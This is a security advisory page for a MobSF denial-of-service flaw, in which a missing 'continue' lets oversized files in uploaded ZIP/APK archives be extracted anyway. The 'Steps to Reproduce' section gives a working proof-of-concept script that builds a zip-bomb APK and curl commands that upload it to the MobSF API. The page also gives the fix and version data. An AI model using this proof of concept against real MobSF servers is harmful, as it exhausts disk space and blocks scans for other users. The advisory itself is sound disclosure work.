Medium

MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

  • Disclosed: 18.08.2026
  • Updated: 11.10.2026 14:19

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

python
# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

python
#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

bash
curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

bash
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

  • This affects any user who scans a maliciously crafted APK
  • The APK could come from a legitimate-looking package submitted for security review
  • Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
  • Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

python
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) mobsf < 4.5.1 4.5.1

References

CVSS score 4.9/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-400
Platform
Python (PyPI)
Package
mobsf
Disclosed
18.08.2026
Updated
11.10.2026 14:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3691 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x768-8642-mmq9 - CC BY 4.0

Vulnerability history: mobsf

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (22) in the archive
Total entries
22
First → latest
10.2022 08.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • High 9
  • Medium 11
  • Low 2

Disclosures per year

  1. 2022: 1
  2. 2023: 1
  3. 2024: 6
  4. 2025: 8
  5. 2026: 6
Severity:
  1. MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction this entry
    Medium · 4.9 CVE-2026-68924 < 4.5.1 4.5.1
  2. High · 6.5 CVE-2025-24805 < 4.3.1 4.3.1
  3. High · 6.5 CVE-2025-24804 < 4.3.1 4.3.1
  4. High · 8.1 CVE-2025-24803 < 4.3.1 4.3.1
  5. High · 7.3 CVE-2024-29190 < 3.9.7 3.9.7

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